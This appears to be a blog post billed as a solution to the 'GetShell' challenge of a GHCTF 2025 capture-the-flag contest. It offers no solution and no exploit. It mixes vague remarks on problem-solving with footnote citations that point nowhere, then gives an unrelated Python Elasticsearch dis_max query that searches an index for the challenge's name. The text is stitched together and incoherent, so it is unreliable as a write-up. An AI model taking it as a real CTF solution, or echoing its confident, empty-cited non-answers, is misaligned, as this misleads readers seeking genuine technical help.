### GHCTF 2025 GetShell Challenge Solution and Explanation The concept of breaking down complex problems into smaller, manageable parts is highly relevant when approaching challenges like the one mentioned in GHCTF 2025's GetShell challenge[^1]. This methodology allows participants to systematically analyze each component of the problem, ensuring that no detail is overlooked. In terms of solving such a challenge, it often involves understanding how programs interact with input data. For instance, recognizing patterns within datasets can be analogous to identifying vulnerabilities in software systems[^2]. In cybersecurity competitions (or CTFs), these insights are crucial as they help uncover weaknesses that could lead to gaining unauthorized access—commonly referred to as getting "shell." Regarding specific solutions for GHCTF 2025’s GetShell challenge, while direct answers may not always be available due to their competitive nature, similar techniques used involve leveraging Elasticsearch queries effectively. As noted previously, certain types of searches get internally transformed into `dis_max` queries which enhance result relevance through weighted scoring mechanisms[^3]. Here is an example demonstrating how you might structure your search logic programmatically: ```python from elasticsearch import Elasticsearch es = Elasticsearch() body = { "query": { "dis_max": { "queries": [ {"match": {"challenge_name": "GetShell"}}, {"match": {"event_year": "2025"}} ], "tie_breaker": 0.7 } }, "highlight": { "fields": { "solution_details": {}, "hints_provided": {} } } } response = es.search(index="ctf_challenges", body=body) for hit in response['hits']['hits']: print(f"{hit['_score']}: {hit['_source']} Highlights: {hit.get('highlight', '')}") ``` This script uses Python alongside the official Elasticsearch client library to perform advanced text matching operations tailored towards retrieving pertinent information about past or hypothetical future events resembling 'GHCTF'.
评论 15
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值